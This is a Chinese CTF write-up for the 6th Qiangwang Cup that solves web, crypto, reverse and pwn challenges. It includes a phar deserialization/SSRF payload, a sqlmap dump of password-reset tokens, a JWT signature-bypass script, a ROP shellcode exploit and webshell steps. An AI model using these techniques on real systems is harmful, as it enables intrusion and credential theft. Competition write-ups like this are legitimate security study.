第六届强网杯CTF-Wp

admin 2022年8月2日10:31:05评论258 views字数 6608阅读22分1秒阅读模式

点击蓝字 ·  关注我们

01

Web

1

crash

先 pickle rce进去写⼀个脚本监听5000端⼝ 阻塞
import socketimport timesock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.bind(('', 5000))sock.listen(5)while True:connection,address = sock.accept()try:connection.settimeout(99999999)buf = connection.recv(29999)time.sleep(1000000)print(buf)if buf == b'1':connection.send(b'welcome to server!')else:connection.send(b'please go out!')except socket.timeout:time.sleep(1000000)print(time)connection.close()

2

babyweb

得知端⼝是8888 可以使⽤websocket 来ssrf强制admin修改密码 登录之后 购买hint获得源码 简单看了⼏眼 搜了搜json的⼀些⼿法发现⼀个替换 /buy post发包即可 
{"product":[{"id":1,"num":0},{"id":2, "num":-1,"num":1}]}

3

easyweb

http://47.104.95.124:8080/showfile.php?f=php://filter/convert.base64-encode/resource=./demo/../index.php

第六届强网杯CTF-Wp

继续读下去 有class.php uploda.php 发现showfile.php读不了 ⽂件上传那⾥构造session表单就可以绕过 然后就是打phar。

guestshow = new GuestShow();$upload = new Upload();$upload->date = "";$upload2 = new Upload();$upload2->date = "http://10.10.10.10/";$a = new GuestShow();$a->file = new AdminShow();$a->file->upload = new AdminShow();$a->file->upload->str = [$upload,$upload2];$upload2->filesize = $a->file;$upload2->filesize = $a->file;$upload2->tmp = $guestshow;$upload2->tmp->str = [$guestshow];$guestshow->file = $a->file;
起个链⼦让他去请求 读了⼀下/etc/hosts对⽹段批量扫就⾏
127.0.0.1 localhost::1 localhost ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters172.18.0.2 f3d4be8c693810.10.10.5 f3d4be8c6938

发现是10.10.10.10 ⾥⾯的⻚⾯源码

<?php//内⽹资源阅读器-测试机//配置信息请看phpinfo.phphighlight_file(__FILE__);if (isset($_GET['url'])){    $link = $_GET['url'];    $curlobj = curl_init();    curl_setopt($curlobj, CURLOPT_POST, 0);    curl_setopt($curlobj,CURLOPT_URL,$link);    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);    $result=curl_exec($curlobj);    curl_close($curlobj);    echo $result;}if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){    system('cat /flag');    die();}?>

既然他都在这⾥给curl了 那我们直接file:///flag就可以 不⽤管其他的了

POST /upload.php HTTP/1.1Host: 47.104.95.124:8080Content-Length: 926Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://47.104.95.124:8080Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryak6U5bQGmG0fmVS5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/103.0.0.0 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://47.104.95.124:8080/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8COOKIE:PHPSESSID=abcde;Connection: close------WebKitFormBoundaryak6U5bQGmG0fmVS5Content-Disposition: form-data; name="file"; filename="phar.jpg"Content-Type: image/jpegGIF89aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php__HALT_COMPILER(); ?>ôÃO:9:"GuestShow":2:{s:4:"file";O:9:"AdminShow":3:{s:6:"source";O:9:"AdminShow":3:{s:6:"source";N;s:3:"str";a:2:{i:0;O:6:"Upload":4:{s:4:"file";N;s:8:"filesize";r:2;s:4:"date";s:0:"";s:3:"tmp";N;}i:1;O:6:"Upload":4:{s:4:"file";N;s:8:"filesize";r:2;s:4:"date";s:35:"http://10.10.10.10?url=file:///flag";s:3:"tmp";O:9:"GuestShow":3:{s:4:"file";r:2;s:8:"contents";N;s:3:"str";a:1:{i:0;r:15;}}}}s:6:"filter";N;}s:3:"str";N;s:6:"filter";N;}s:8:"contents";N;}1231åb~•Ø¶test^•$$Æçíyw¡•w25Ó+x#GBMB------WebKitFormBoundaryak6U5bQGmG0fmVS5Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"敕交------WebKitFormBoundaryak6U5bQGmG0fmVS5--
然后解base64

第六届强网杯CTF-Wp

4

easylogin

wp的注⼊ 获取8888端⼝moodle的数据 在8888找回admin的密码 利⽤注⼊查token
sqlmap -r 1 --random-agent --dbms=mysql --batch -D moodle -T mdl_user_password_resets --dump --freshqueries
 修改密码后进⼊后台上传插件 getshell rce后 在etc下grep -Rin “flag” 获得flag

第六届强网杯CTF-Wp

02

Misc

1

签到

flag{we1come_t0_qwb_s6}

2

问卷

flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}

03

Crypto

1

myJWT

*CVE-2022-21449* r=s=0即可通过校验,最后再调⼀下参数

import base64from pwn import *r=remote('47.104.76.78',23334)s=b'{"alg":"myES","typ":"JWT"}'t=b'{"iss":"qwb","exp":11659200191758,"name":"1","admin":true}'a=f"{base64.b64encode(s).decode()}.{base64.b64encode(t).decode()}.{base64.b64encode(bytes(64)).decode()}"r.sendline('1')r.sendline('2')r.sendline(a)r.interactive()

04

Re

1

deeprev

打开程序载⼊ida,发现判断流程⾮常简洁,以⾄于都没看到输出部分和加密部分

第六届强网杯CTF-Wp

上⽅有⼀个secret 我们看看它是啥,不在此⽂件中

第六届强网杯CTF-Wp

看到这⾥有个地⽅提示patch这⾥

第六届强网杯CTF-Wp

后来patch后经过⽤angr尝试,发现跑不动 看到这个程序有⾮常多的重定位数据,就感到⾮常奇怪。

第六届强网杯CTF-Wp

发现有个题和这题相似

第六届强网杯CTF-Wp

上作者的github下载解析脚本 
https://gist.github.com/hgarrereyn/9e536e8b3471d3cb8ecbb5932a776b95

这⾥我们不需要solve,⾃⼰分析dump数据流

第六届强网杯CTF-Wp

运⾏脚本

第六届强网杯CTF-Wp

根据电脑性能⼤致等30-40分钟,就可以看到输出结果,可以看到很明显的flag标志。

第六届强网杯CTF-Wp

注意转成16进制取⾼2位

第六届强网杯CTF-Wp

后⾯的可以复制这个解析好的

第六届强网杯CTF-Wp

全部提取出来后的flag_data

第六届强网杯CTF-Wp

下⾯还有常数进⾏xor仍然可以提取出来

第六届强网杯CTF-Wp

根据题⽬的提示写出脚本解密

第六届强网杯CTF-Wp

第六届强网杯CTF-Wp

05

强网先锋

1

devnull

#解题思路:覆盖buf指针指向可写区域0x3fe000,同时栈迁移到附近进⾏ROP,⾸先通过mprotect#赋予执⾏权限,最后执⾏shellcode即可#coding:utf-8from pwn import *context(arch='amd64',log_level='debug')p=process('./devnull')gdb.attach(p)payload='m'*0x20p.sendafter('please input your filenamen',payload)leave_ret=0x0000000000401511bss=0x3fe000payload='k'*0x14+p64(bss)*2+p64(leave_ret)p.sendafter('Please write the data you want to discardn',payload)movrax=0x0000000000401350mprotect=0x00000000004012D0shellcode=asm(shellcraft.sh())#shellcode="x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"payload=p64(0x3fe028)+p64(movrax)+p64(0x3fe000)+p64(0x3fe000)+p64(0x3fe030)+p64(0x3fe010)+p64(mprotect)+p64(0x3fe068)+p64(0x3fe048)+shellcodep.sendafter('please input your new datan',payload)p.interactive()

2

rcefile

能直接解析phar⽂件 所以上传⼀个 system(’cat /flag’)就可以

3

polydiv

sage梭

from sage.all import *from pwn import *import stringcontext.log_level='debug'dd=string.ascii_letters+string.digitssha_done=Falser=remote('39.107.241.221',33739)r.recvuntil('sha256(XXXX+')s=r.recvuntil(') == ')[:-5]h=r.recvline()[:-1]for i in dd: for j in dd: for k in dd: for w in dd: ss_=(i+j+k+w).encode() ss=ss_+s hh=hashlib.sha256(ss).hexdigest() if h.decode()==hh: r.sendline(ss_) sha_done=True if sha_done: break if sha_done: break if sha_done: break if sha_done: breakprint('done')P=GF(2)['x']x=P.gen()for i in range(40): r.recvuntil('r(x) = ') pr=eval(r.recvline().decode().replace('^','**').strip()) r.recvuntil('a(x) = ') pa=eval(r.recvline().decode().replace('^','**').strip()) r.recvuntil('c(x) = ') pc=eval(r.recvline().decode().replace('^','**').strip()) pb=(pr-pc)/pa print(str(pb)) r.sendline(str(pb))r.interactive()

4

WP-UM

该插件存在⽂件枚举的洞

第六届强网杯CTF-Wp

在upload处上传⼀个⽂件,抓包并更改

第六届强网杯CTF-Wp


若密码位数及字符正确,则显示Remove

第六届强网杯CTF-Wp

wordpress第⼀篇⽂章作者即为⽤户,估最后得到账户密码为:MaoGePaMao MaoGeYaoQiFeiLa 登陆进去后台修改⽂件getshell,密码 1

http://eci-2ze1o95qor1o4z7vdbxu.cloudeci1.ichunqiu.com/wpcontent/themes/twentytwenty/404.ph
访问/usr/local/This_1s_secert,得到flag 

Tip

你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。    
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱[email protected](带上自己的简历,简历内容包括自己的学习方向,学习经历等)

EDI安全

第六届强网杯CTF-Wp

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):第六届强网杯CTF-Wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月2日10:31:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第六届强网杯CTF-Wphttp://cn-sec.com/archives/1215794.html

发表评论

匿名网友 填写信息